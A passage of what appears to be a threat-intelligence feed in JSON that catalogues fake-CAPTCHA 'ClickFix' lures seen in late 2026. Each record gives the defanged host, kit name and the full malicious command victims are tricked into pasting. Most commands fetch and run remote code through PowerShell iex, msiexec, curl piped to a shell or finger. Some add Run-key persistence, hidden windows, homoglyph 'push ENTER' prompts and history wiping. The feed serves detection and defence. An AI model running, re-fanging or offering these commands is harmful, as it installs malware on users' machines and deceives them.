hxxps://macrepairtool[.]com/v6cncj/5KYcIGV883ms | osascript -l JavaScript]' | base64 -d | zsh ; curl -fsS 'hxxps://imacos[.]cc/x/newtest1709' >/dev/null","lastSeen":"2026-10-08","firstSeen":"2026-09-17"},{"url":"hxxp://browseid[.]codes/f0e7541fad5b9822","host":"browseid[.]codes","kits":["lenai"],"urls":101,"sites":62,"command":"irm 'browseid[.]codes/f0e7541fad5b9822'|iex","lastSeen":"2026-10-04","firstSeen":"2026-10-01"},{"url":"hxxps://forgewillow[.]com/curl/2vbbg6yba0hl/dxjjvf23wwcvx08ygvxmc3a.json","host":"forgewillow[.]com","kits":["lenai"],"urls":1,"sites":60,"command":"curl -s $(echo \"[base64 of: hxxps://forgewillow[.]com/curl/2vbbg6yba0hl/dxjjvf23wwcvx08ygvxmc3a.json]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-09-26","firstSeen":"2026-09-15"},{"url":"hxxps://cloudelivrenterprise[.]com//?sid=REPLACE_ID","host":"cloudelivrenterprise[.]com","kits":["doubledonut"],"urls":1,"sites":59,"command":"iex(iwr hxxps://cloudelivrenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)","lastSeen":"2026-09-30","firstSeen":"2026-09-29"},{"url":"hxxp://browse-codes-enter[.]beer/46f1e051fa8aeefa","host":"browse-codes-enter[.]beer","kits":["lenai"],"urls":72,"sites":55,"command":"irm 'browse-codes-enter[.]beer/46f1e051fa8aeefa'|iex","lastSeen":"2026-10-16","firstSeen":"2026-10-14"},{"url":"hxxps://humanwebpage[.]online/get_verify?i=10638&a=","host":"humanwebpage[.]online","kits":["overlaywar"],"urls":83,"sites":55,"command":"iwr -Uri ('hxxps://humanwebpage[.]online/get_verify?i=10638&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)865[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)865[.]zip','$($pwd)865'); attrib +h +s '$($pwd)865'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'rest' -val '$($pwd)865bin.exe'; saps -F '$($pwd)865bin.exe' -Wo '$($pwd)865'","lastSeen":"2026-10-19","firstSeen":"2026-10-03"},{"url":"hxxp://api[.]stepanapis[.]com/prs","host":"api[.]stepanapis[.]com","kits":["pixelmenu","smartapesg"],"urls":1,"sites":51,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" api[.]stepanapis[.]com/prs& start \"\" \"%y\")\"","lastSeen":"2026-10-16","firstSeen":"2026-10-13"},{"url":"hxxp://coeuau[.]com","host":"coeuau[.]com","kits":["skinframe"],"urls":40,"sites":51,"command":"MSIEXEC.exe /i http:/coeuau[.]com\\sulzv7zjwvhs7k /qn S1=\"Windоws Sесurity Неаlth Sеrviсе 10.0.22621 р                            То  vеrify  рush  thе  ЕNTЕR  kеy             \"","lastSeen":"2026-10-12","firstSeen":"2026-10-06"},{"url":"finger://dns-api[.]org/peufghXXDh","host":"dns-api[.]org","kits":["framefinger"],"urls":1,"sites":51,"command":"%COMSPEC% /c start \"\" /m^i^n %COMSPEC% /c start \"\" /m^i^n %COMSPEC% /c start \"\" /m^i^n for /f \"delims=\" %k in (',f^^i^^n^^g^^e^^r peufghXXDh@dns-api[.]org') do %k &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y--","lastSeen":"2026-10-26","firstSeen":"2026-10-13"},{"url":"hxxps://macrepairtool[.]com/v6cncj/5KYcIGV883ms","host":"macrepairtool[.]com","kits":["lenai"],"urls":2,"sites":51,"command":"curl -sf hxxps://macrepairtool[.]com/v6cncj/5KYcIGV883ms | osascript -l JavaScript","lastSeen":"2026-10-08","firstSeen":"2026-09-01"},{"url":"hxxps://trustchecknes[.]com/ae8ouxb9gx/7952bc994574e7f0","host":"trustchecknes[.]com","kits":["lenai"],"urls":49,"sites":47,"command":"(irm 'hxxps://trustchecknes[.]com/ae8ouxb9gx/7952bc994574e7f0')|iex","lastSeen":"2026-11-04","firstSeen":"2026-11-02"},{"url":"hxxps://zurggoyttjof21[.]cc/ps/traffic?r=415e","host":"zurggoyttjof21[.]cc","kits":["xorveil"],"urls":47,"sites":46,"command":"irm hxxps://zurggoyttjof21[.]cc/ps/traffic?r=415e|iex","lastSeen":"2026-10-28","firstSeen":"2026-10-20"},{"url":"hxxps://checkmybtrobot[.]cc/ps/traffic?r=6380","host":"checkmybtrobot[.]cc","kits":["xorveil"],"urls":46,"sites":45,"command":"irm hxxps://checkmybtrobot[.]cc/ps/traffic?r=6380|iex","lastSeen":"2026-10-18","firstSeen":"2026-10-05"},{"url":"hxxp://144[.]31[.]47[.]76/webdav","host":"144[.]31[.]47[.]76","kits":["shieldbeaver"],"urls":1,"sites":42,"command":"cmd.exe /c net use Z: hxxp://144[.]31[.]47[.]76/webdav /persistent:no && powershell -ExecutionPolicy Bypass -File","lastSeen":"2026-10-25","firstSeen":"2026-09-07"},{"url":"hxxps://btorsercoyt31[.]cc/ps/traffic?r=216a","host":"btorsercoyt31[.]cc","kits":["xorveil"],"urls":45,"sites":42,"command":"irm hxxps://btorsercoyt31[.]cc/ps/traffic?r=216a|iex","lastSeen":"2026-10-28","firstSeen":"2026-10-20"},{"url":"hxxps://activityof[.]com/datei","host":"activityof[.]com","kits":["shieldbeaver"],"urls":1,"sites":37,"command":"msiexec /i hxxps://activityof[.]com/datei /qn","lastSeen":"2026-11-04","firstSeen":"2026-09-07"},{"url":"hxxp://cf-www[.]com/k3kwfghbu2fro1","host":"cf-www[.]com","kits":["skinframe"],"urls":37,"sites":35,"command":"msieXeC.exe /i http:\\\\cf-www[.]com\\k3kwfghbu2fro1 /Q S1=\"Dеviсе Sеtuр Ноst 10.0.19041 rеаdy                                      То  vеrify  рush  thе  ЕNTЕR  kеy             \"","lastSeen":"2026-10-06","firstSeen":"2026-09-30"},{"url":"hxxps://cloudredirect[.]online/get_verify?i=39086&a=","host":"cloudredirect[.]online","kits":["overlaywar"],"urls":70,"sites":34,"command":"iwr -Uri ('hxxps://cloudredirect[.]online/get_verify?i=39086&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)514[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)514[.]zip','$($pwd)514'); attrib +h +s '$($pwd)514'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'black_kale_light' -val '$($pwd)514bin.exe'; saps -F '$($pwd)514bin.exe' -Wo '$($pwd)514'; sleep 60; iwr -Uri ('hxxps://cloudredirect[.]online/debug_info?i=39086&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)514'|ForEach-Object {","lastSeen":"2026-10-10","firstSeen":"2026-10-03"},{"url":"hxxp://browse-id-enter[.]codes/e3450fcb80009856","host":"browse-id-enter[.]codes","kits":["lenai"],"urls":37,"sites":32,"command":"irm 'browse-id-enter[.]codes/e3450fcb80009856'|iex","lastSeen":"2026-10-17","firstSeen":"2026-10-16"},{"url":"hxxps://kloudtechnology[.]in/step","host":"kloudtechnology[.]in","kits":["shieldbeaver"],"urls":1,"sites":32,"command":"msiexec /i hxxps://kloudtechnology[.]in/step /qn","lastSeen":"2026-10-15","firstSeen":"2026-09-06"},{"url":"hxxps://franfrbar[.]com/2Uq","host":"franfrbar[.]com","kits":["lenai","tableframe"],"urls":1,"sites":30,"command":"$url = \"hxxps://franfrbar[.]com/2Uq\";\n$filename = \"Fileside.exe\";\n$path = $env:TEMP;\n$archive = Join-Path $path \"ZPVrDpod[.]zip\";\n$filepath = Join-Path $path $filename;\n$signature = @\"\nusing System;\nusing System.Runtime.InteropServices;\npublic class Win32 {\n\t[DllImport(\"kernel32.dll\")]\n\tpublic static extern IntPtr GetConsoleWindow();\n\t[DllImport(\"user32.dll\")]\n\tpublic static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);\n}\n\"@;\nAdd-Type $signature;\n$hwnd = [Win32]::GetConsoleWindow();\nif($hwnd -ne [IntPtr]::Zero)\n{\n\t[Win32]::ShowWindow($hwnd, 0);\n}\nNew-Item -Path $path -ItemType Directory -Force;\ncurl $url -o $archive;\nExpand-Archive -Path $archive -DestinationPath $path -Force;\nRemove-Item $archive -Force;\nStart-Process $filepath;\nexit","lastSeen":"2026-10-24","firstSeen":"2026-10-20"},{"url":"hxxp://cf-restapi[.]com","host":"cf-restapi[.]com","kits":["skinframe"],"urls":1,"sites":29,"command":"MSIEXEC.exe /i http:/cf-restapi[.]com\\w4dbo4uh79vnbf /qn S1=\"Windоws Маnаgеmеnt Аgеnt 10.0.22621 rеаdy                               То  vеrify  рush  thе  ЕNTЕR  kеy             \"","lastSeen":"2026-10-14","firstSeen":"2026-10-12"},{"url":"finger://id-dns[.]net/RscncqFRZn","host":"id-dns[.]net","kits":["framefinger"],"urls":1,"sites":28,"command":"%COMSPEC% /c start \"\" /m^i^n %COMSPEC% /c start \"\" /m^i^n %COMSPEC% /c start \"\" /m^i^n for /f \"delims=\" %i in (',f^^i^^n^^g^^e^^r RscncqFRZn@id-dns[.]net') do %i &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y--","lastSeen":"2026-10-26","firstSeen":"2026-10-10"},{"url":"hxxps://spruce21[.]com/curl/r891bbmlj9/bm7zevpbkr7fwv3v023htl.txt","host":"spruce21[.]com","kits":["lenai"],"urls":1,"sites":28,"command":"curl -s $(echo \"[base64 of: hxxps://spruce21[.]com/curl/r891bbmlj9/bm7zevpbkr7fwv3v023htl.txt]\" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://xursod[.]com/x/proliv2929' >/dev/null","lastSeen":"2026-09-29","firstSeen":"2026-09-28"},{"url":"hxxp://62[.]60[.]148[.]126/9fe321dd7b?force=1","host":"62[.]60[.]148[.]126","kits":["drivesurge"],"urls":1,"sites":27,"command":"export SRC_URL=\\x27{_0x53a206}' && (cd /tmp && curl -kfsSL \"hxxp://62[.]60[.]148[.]126/9fe321dd7b?force=1\" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf \\x27033[3J\\x27; history -d $(history 1 2>/dev/null | awk \\x27{print $1}\\x27) 2>/dev/null; fc -p /dev/null 2>/dev/null; printf \\x27\n  033[32m✓ Verification successful033[0m\n\n\\x27","lastSeen":"2026-09-29","firstSeen":"2026-09-27"},{"url":"hxxp://elxxvvx[.]xyz/f","host":"elxxvvx[.]xyz","kits":["quietchisel"],"urls":2,"sites":25,"command":"","lastSeen":"2026-09-29","firstSeen":"2026-09-01"},{"url":"hxxps://ktoktotam[.]cc/h/c/f8a4af060d295ec7","host":"ktoktotam[.]cc","kits":["lenai","txtrelay"],"urls":24,"sites":24,"command":"forfiles /p %windir% /m system.ini /c \"cmd /c bitsa^dmin /transfer 9d3e /download /priority foreground hxxps://ktoktotam[.]cc/h/c/f8a4af060d295ec7 \"%TEMP%\\c169e7.bat\" & ping -n 2 127.0.0.1 >nul & call \"%TEMP%\\c169e7.bat\" & rem reCaptcha ID: 602235\"","lastSeen":"2026-10-21","firstSeen":"2026-10-19"},{"url":"hxxps://webpagesafe[.]online/get_verify?i=5760&a=","host":"webpagesafe[.]online","kits":["overlaywar"],"urls":48,"sites":23,"command":"iwr -Uri ('hxxps://webpagesafe[.]online/get_verify?i=5760&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)389[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)389[.]zip','$($pwd)389'); attrib +h +s '$($pwd)389'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'cauliflower_cottage' -val '$($pwd)389bin.exe'; saps -F '$($pwd)389bin.exe' -Wo '$($pwd)389'","lastSeen":"2026-10-15","firstSeen":"2026-09-29"},{"url":"hxxp://45[.]131[.]215[.]56/8031e818c7a46?force=1","host":"45[.]131[.]215[.]56","kits":["drivesurge"],"urls":1,"sites":22,"command":"export SRC_URL=\\x27{_0x1fee75}\\x27 && (cd /tmp && curl -kfsSL \\x22hxxp://45[.]131[.]215[.]56/8031e818c7a46?force=1\" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\\n  \\033[32m✓ Verification successful\\033[0m\\n\\n'","lastSeen":"2026-09-26","firstSeen":"2026-09-23"},{"url":"hxxp://api-cf[.]com/3deayr8287fpti","host":"api-cf[.]com","kits":["skinframe"],"urls":9,"sites":22,"command":"MSIEXEC.exe /i http:\\\\api-cf[.]com/3deayr8287fpti /qn S1=\"Ноst Рrосеss fоr Windоws Sеrviсеs 10.0.19041                            То  vеrify  рush  thе  ЕNTЕR  kеy             \"","lastSeen":"2026-10-15","firstSeen":"2026-10-14"},{"url":"hxxp://auth-code[.]nvc-info[.]beer/64ad640b5003e636","host":"auth-code[.]nvc-info[.]beer","kits":["lenai"],"urls":29,"sites":22,"command":"irm 'auth-code[.]nvc-info[.]beer/64ad640b5003e636'|iex","lastSeen":"2026-10-18","firstSeen":"2026-10-18"},{"url":"hxxps://dank-us[.]com/update/botcheck","host":"dank-us[.]com","kits":["overlaywar","pranklodge"],"urls":1,"sites":22,"command":"MSieXeC /i https:\\\\dank-us[.]com/update\\botcheck -QN","lastSeen":"2026-11-03","firstSeen":"2026-09-06"},{"url":"hxxps://rewardgoldshop[.]com/q","host":"rewardgoldshop[.]com","kits":["shieldbeaver"],"urls":1,"sites":22,"command":"","lastSeen":"2026-11-01","firstSeen":"2026-10-01"},{"url":"hxxps://script-six-tawny[.]vercel[.]app/win","host":"script-six-tawny[.]vercel[.]app","kits":["lenai","overlaywar"],"urls":3,"sites":22,"command":"curl.exe -s hxxps://script-six-tawny[.]vercel[.]app/win -L | cmd","lastSeen":"2026-11-03","firstSeen":"2026-09-26"},{"url":"hxxps://api-v1[.]cfd/xdgh2uj11w7h1w","host":"api-v1[.]cfd","kits":["skinframe"],"urls":20,"sites":21,"command":"msiexeC.exe /i https:/\\api-v1[.]cfd\\xdgh2uj11w7h1w /QN S1=\"с​асhе id​lе                                                       Т​о  vеr​if​y  рu​sh  th​е  ЕNT​ЕR  kе​y             \"","lastSeen":"2026-10-21","firstSeen":"2026-10-20"},{"url":"hxxps://gencaltchacleanchrck[.]com/h/2729fa47c8ee2dfb","host":"gencaltchacleanchrck[.]com","kits":["lenai"],"urls":23,"sites":21,"command":"(irm 'hxxps://gencaltchacleanchrck[.]com/h/2729fa47c8ee2dfb' -UserAgent 'WUA/3c90f35dcd' -Headers @{'X-WUA'='3c90f35dcd'})|iex","lastSeen":"2026-10-07","firstSeen":"2026-10-05"},{"url":"hxxps://nikogdatakonebilo[.]cc/h/c/a70c1e5f706467be&echo","host":"nikogdatakonebilo[.]cc","kits":["lenai"],"urls":21,"sites":21,"command":"cmd /c \"(echo cd /d %~dp0&echo copy /b /y %windir%\\system32\\c?rl.exe x1.exe&echo .\\x1.exe -sLoa.cmd hxxps://nikogdatakonebilo[.]cc/h/c/a70c1e5f706467be&echo .\\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\\t.cmd& pcalua -a %PUBLIC%\\t.cmd&rem reCaptcha ID: 260120\"","lastSeen":"2026-10-27","firstSeen":"2026-10-23"},{"url":"hxxps://CF-com[.]sbs/tiokzv947cnsk9","host":"cf-com[.]sbs","kits":["skinframe"],"urls":20,"sites":20,"command":"MSiExec.exe /i https:/\\CF-com[.]sbs\\tiokzv947cnsk9 /QN S1=\"Рrосеs5  о3  М5dulе  Nеt0оrk                                  𝚃​𝚘  𝚟​𝚎𝚛𝚒𝚏𝚢  𝚙𝚞​𝚜𝚑  𝚝​𝚑𝚎  𝙴​𝙽𝚃𝙴𝚁  𝚔​𝚎𝚢          \"","lastSeen":"2026-10-27","firstSeen":"2026-10-26"},{"url":"hxxps://checkdvvc99[.]cc/ps/traffic?r=acf7","host":"checkdvvc99[.]cc","kits":["xorveil"],"urls":20,"sites":20,"command":"irm hxxps://checkdvvc99[.]cc/ps/traffic?r=acf7|iex","lastSeen":"2026-10-13","firstSeen":"2026-10-05"},{"url":"hxxps://clouddelivry[.]com/?sid=REPLACE_ID","host":"clouddelivry[.]com","kits":["doubledonut"],"urls":7,"sites":20,"command":"iex(iwr hxxps://clouddelivry[.]com/?sid=REPLACE_ID)","lastSeen":"2026-10-17","firstSeen":"2026-10-16"},{"url":"hxxp://uramzkabachok[.]com/confirm","host":"uramzkabachok[.]com","kits":["lenai"],"urls":1,"sites":20,"command":"powershell \"$d={$input};.('Invo'+'ke-Expression') $(&'irm' (@('uramzkabachok[.]com/confirm','fes1y','ubv2','3j0sbm','iai')|&('?'){$_ -ceq 'uramzkabachok[.]com/confirm'}|&('Select-'+'Object') -First 1)|&('Group-'+'Ob'+'ject')|&('%'){$_.Group})|& $d\"","lastSeen":"2026-10-04","firstSeen":"2026-09-16"},{"url":"hxxps://API-com[.]cfd/ke4uphjqliyeiw","host":"api-com[.]cfd","kits":["skinframe"],"urls":19,"sites":19,"command":"MsiExeC.exe /i https:/\\API-com[.]cfd\\ke4uphjqliyeiw /QN S1=\"Моnit0r  I7stаllеr  Аg8nt  Н1st                               𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁𝗵​𝗲  𝗘​𝗡𝗧𝗘𝗥  𝗸𝗲​𝘆          \"","lastSeen":"2026-10-29","firstSeen":"2026-10-27"},{"url":"hxxp://192[.]162[.]199[.]249/we57xj14g","host":"192[.]162[.]199[.]249","kits":[],"urls":4,"sites":18,"command":"$(curl -fsSL hxxp://192[.]162[.]199[.]249/we57xj14g)","lastSeen":"2026-11-04","firstSeen":"2026-09-26"},{"url":"hxxps://interseqf[.]com/test_proliv/93f67384cd2b958e","host":"interseqf[.]com","kits":["lenai"],"urls":18,"sites":18,"command":"(irm 'hxxps://interseqf[.]com/test_proliv/93f67384cd2b958e' -UserAgent 'WUA/4710d0b75d' -Headers @{'X-WUA'='4710d0b75d'})|iex","lastSeen":"2026-09-13","firstSeen":"2026-09-05"},{"url":"hxxp://broadspancapital[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336","host":"broadspancapital[.]com","kits":["dualprompt"],"urls":1,"sites":17,"command":"curl -kfsSL $(echo '[base64 of: hxxp://broadspancapital[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336]'|base64 -D)|zsh","lastSeen":"2026-10-13","firstSeen":"2026-10-06"},{"url":"hxxp://threejrev[.]com/r","host":"threejrev[.]com","kits":["dualprompt"],"urls":1,"sites":16,"command":"","lastSeen":"2026-10-16","firstSeen":"2026-10-11"},{"url":"hxxps://trulynolenmacedonia[.]mk/auth","host":"trulynolenmacedonia[.]mk","kits":["shieldbeaver"],"urls":1,"sites":16,"command":"msiexec /i hxxps://trulynolenmacedonia[.]mk/auth","lastSeen":"2026-10-15","firstSeen":"2026-09-07"},{"url":"hxxps://allowcheckd3[.]cc/ps/traffic?r=d960","host":"allowcheckd3[.]cc","kits":["xorveil"],"urls":15,"sites":15,"command":"irm hxxps://allowcheckd3[.]cc/ps/traffic?r=d960|iex","lastSeen":"2026-10-02","firstSeen":"2026-09-28"},{"url":"hxxps://checkvbbrows39[.]cc/ps/traffic?r=3b64","host":"checkvbbrows39[.]cc","kits":["xorveil"],"urls":15,"sites":15,"command":"irm hxxps://checkvbbrows39[.]cc/ps/traffic?r=3b64|iex","lastSeen":"2026-10-19","firstSeen":"2026-10-14"},{"url":"hxxps://lD-com[.]cfd/dbaz51zl1e3fse","host":"ld-com[.]cfd","kits":["skinframe"],"urls":13,"sites":13,"command":"msiEXeC.exe /i https:/\\lD-com[.]cfd\\dbaz51zl1e3fse /QN S1=\"4есurity  са1hе  Вrоkе7  S5rrоgаtе                            𝚃​𝚘  𝚟𝚎𝚛𝚒​𝚏𝚢  𝚙​𝚞𝚜𝚑  𝚝𝚑​𝚎  𝙴𝙽𝚃​𝙴𝚁  𝚔​𝚎𝚢          \"","lastSeen":"2026-10-26","firstSeen":"2026-10-25"},{"url":"hxxps://lD-me[.]sbs/1uikfe63c1mku8","host":"ld-me[.]sbs","kits":["overlaywar","skinframe"],"urls":13,"sites":13,"command":"MSiEXeC.exe /i https:/\\lD-me[.]sbs\\1uikfe63c1mku8 /QN S1=\"id1е  Surrоgа4е  Соnn9сtеd  6аss                              𝚃​𝚘  𝚟𝚎𝚛𝚒𝚏​𝚢  𝚙𝚞​𝚜𝚑  𝚝𝚑​𝚎  𝙴​𝙽𝚃𝙴𝚁  𝚔𝚎​𝚢          \"","lastSeen":"2026-10-25","firstSeen":"2026-10-24"},{"url":"hxxps://shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/","host":"shift-art[.]com","kits":["timbercheck"],"urls":1,"sites":13,"command":"msiexec /i hxxps://shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/","lastSeen":"2026-10-11","firstSeen":"2026-09-23"},{"url":"hxxps://skididks[.]com/test_proliv/5e947c0a971ff8bd","host":"skididks[.]com","kits":["lenai"],"urls":21,"sites":13,"command":"","lastSeen":"2026-09-11","firstSeen":"2026-09-10"},{"url":"hxxps://v-k[.]com[.]ua/vcapcha.ps1","host":"v-k[.]com[.]ua","kits":["stopandprotect"],"urls":1,"sites":13,"command":"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://v-k[.]com[.]ua/vcapcha.ps1'))\"","lastSeen":"2026-10-05","firstSeen":"2026-09-06"},{"url":"hxxp://85[.]239[.]149[.]120/zDLuGUBz1ACPaN3H","host":"85[.]239[.]149[.]120","kits":["embedshade","lenai","pixelsplice","xorveil"],"urls":2,"sites":12,"command":"$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) PowerShell/5.1');$f=$env:TEMP+'123.ps1';$w.DownloadFile('hxxp://85[.]239[.]149[.]120/zDLuGUBz1ACPaN3H',$f);& powershell -nop -ExecutionPolicy Bypass -File $f","lastSeen":"2026-10-06","firstSeen":"2026-10-06"},{"url":"hxxps://sunnycloud[.]online/get_verify?i=21971&a=","host":"sunnycloud[.]online","kits":["overlaywar"],"urls":26,"sites":12,"command":"iwr -Uri ('hxxps://sunnycloud[.]online/get_verify?i=21971&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)993[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)993[.]zip','$($pwd)993'); attrib +h +s '$($pwd)993'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'comfort_grow' -val '$($pwd)993bin.exe'; saps -F '$($pwd)993bin.exe' -Wo '$($pwd)993'; sleep 60; iwr -Uri ('hxxps://sunnycloud[.]online/debug_info?i=21971&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)993'|ForEach-Object {","lastSeen":"2026-10-03","firstSeen":"2026-10-02"},{"url":"hxxp://198[.]13[.]158[.]127:5506/dd.vbs","host":"198[.]13[.]158[.]127","kits":["timbercheck"],"urls":2,"sites":11,"command":"cmd /c \"curl -s http:/198[.]13[.]158[.]127:5506/dd.vbs -o %temp%dd.vbs >nul && start /b wscript.exe //B //E:VBScript %temp%dd.vbs && exit\"","lastSeen":"2026-10-11","firstSeen":"2026-09-06"},{"url":"hxxps://unavailablerobot[.]online/get_verify?i=22118&a=","host":"unavailablerobot[.]online","kits":["overlaywar"],"urls":24,"sites":11,"command":"iwr -Uri ('hxxps://unavailablerobot[.]online/get_verify?i=22118&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)399[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)399[.]zip','$($pwd)399'); attrib +h +s '$($pwd)399'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'glacier' -val '$($pwd)399bin.exe'; saps -F '$($pwd)399bin.exe' -Wo '$($pwd)399'; sleep 60; iwr -Uri ('hxxps://unavailablerobot[.]online/debug_info?i=22118&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)399'|ForEach-Object {","lastSeen":"2026-10-03","firstSeen":"2026-09-29"},{"url":"hxxp://www-cf[.]com/ust6ld9p4zvs9y","host":"www-cf[.]com","kits":["overlaywar","skinframe"],"urls":11,"sites":11,"command":"mSIEXEc.exe /ᵖᵃᶜᵏᵃᵍᵉ http:\\\\www-cf[.]com\\ust6ld9p4zvs9y /Q S1=\"Nеtwоrk Ассеss Вrоkеr 10.0.22621 асtivе                                 То  vеrify  рush  thе  ЕNTЕR  kеy             \"","lastSeen":"2026-09-29","firstSeen":"2026-09-28"},{"url":"hxxps://www[.]rjccabinets[.]com[.]au/redirect","host":"www[.]rjccabinets[.]com[.]au","kits":["shieldbeaver"],"urls":1,"sites":11,"command":"msiexec /i hxxps://www[.]rjccabinets[.]com[.]au/redirect","lastSeen":"2026-10-15","firstSeen":"2026-09-06"},{"url":"hxxps://LD-web[.]cfd/et7dz76i3zqfwh","host":"ld-web[.]cfd","kits":["skinframe"],"urls":10,"sites":10,"command":"MSiexEC.exe /i https:/\\LD-web[.]cfd\\et7dz76i3zqfwh /QN S1=\"Diаgnоs1iс  S6rrоgаtе  3оst  о1                               𝗧​𝗼  𝘃​𝗲𝗿𝗶𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁𝗵​𝗲  𝗘𝗡𝗧​𝗘𝗥  𝗸​𝗲𝘆          \"","lastSeen":"2026-11-02","firstSeen":"2026-11-01"},{"url":"hxxps://soutslts[.]com/win/el5frc/90fd9950.exe","host":"soutslts[.]com","kits":["lenai"],"urls":10,"sites":10,"command":"powershell -w h -ep b -c \"$t=$env:TEMP;iwr 'hxxps://soutslts[.]com/win/el5frc/90fd9950.exe' -O $t\\x.exe;Unblock-File $t\\x.exe -ea 0;& $t\\x.exe\"","lastSeen":"2026-10-19","firstSeen":"2026-10-10"},{"url":"hxxp://45[.]159[.]144[.]59/0b14dc8b215018df?force=1","host":"45[.]159[.]144[.]59","kits":["drivesurge"],"urls":1,"sites":9,"command":"export SRC_URL=\\x27{_0x35ac5c}' && (cd /tmp && curl -kfsSL \"hxxp://45[.]159[.]144[.]59/0b14dc8b215018df?force=1\" -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf \\x27033[3J\\x27; history -d $(history 1 2>/dev/null | awk \\x27{print $1}\\x27) 2>/dev/null; fc -p /dev/null 2>/dev/null; printf \\x27\n  033[32m✓ Verification successful033[0m\n\n\\x27","lastSeen":"2026-10-31","firstSeen":"2026-10-29"},{"url":"hxxp://77[.]221[.]153[.]100/d2503d96a3?force=1","host":"77[.]221[.]153[.]100","kits":["drivesurge"],"urls":1,"sites":9,"command":"export SRC_URL=\\x27{_0x592dd2}' && (cd /tmp && curl -kfsSL \"hxxp://77[.]221[.]153[.]100/d2503d96a3?force=1\\x22 -o . && bash . && rm -f .) > /dev/null 2>&1 & clear; printf '\\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null; printf '\\n  \\033[32m✓ Verification successful\\033[0m\\n\\n'","lastSeen":"2026-10-04","firstSeen":"2026-10-03"},{"url":"hxxps://joknsdfgjojipogfdfgsjksf[.]icu/x/verify","host":"joknsdfgjojipogfdfgsjksf[.]icu","kits":["lenai"],"urls":3,"sites":9,"command":"echo \"Checking...\" && echo '[base64 of: echo \"Installing...\" && /bin/bash -c \"$(curl -fsSL hxxps://buildkit95[.]tools/cpuym47gkp)\" && echo \"Done!\"]' | base64 -d | bash && echo \"Done! ; curl -fsS 'hxxps://joknsdfgjojipogfdfgsjksf[.]icu/x/verify' >/dev/null\"","lastSeen":"2026-11-04","firstSeen":"2026-10-11"},{"url":"hxxp://kalooms[.]com/check/update.ps1","host":"kalooms[.]com","kits":["adminshade"],"urls":2,"sites":9,"command":"irm kalooms[.]com/check/update.ps1|iex","lastSeen":"2026-10-10","firstSeen":"2026-10-02"},{"url":"hxxps://webpageclouds[.]online/get_verify?i=4209&a=","host":"webpageclouds[.]online","kits":["overlaywar"],"urls":12,"sites":9,"command":"iwr -Uri ('hxxps://webpageclouds[.]online/get_verify?i=4209&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) 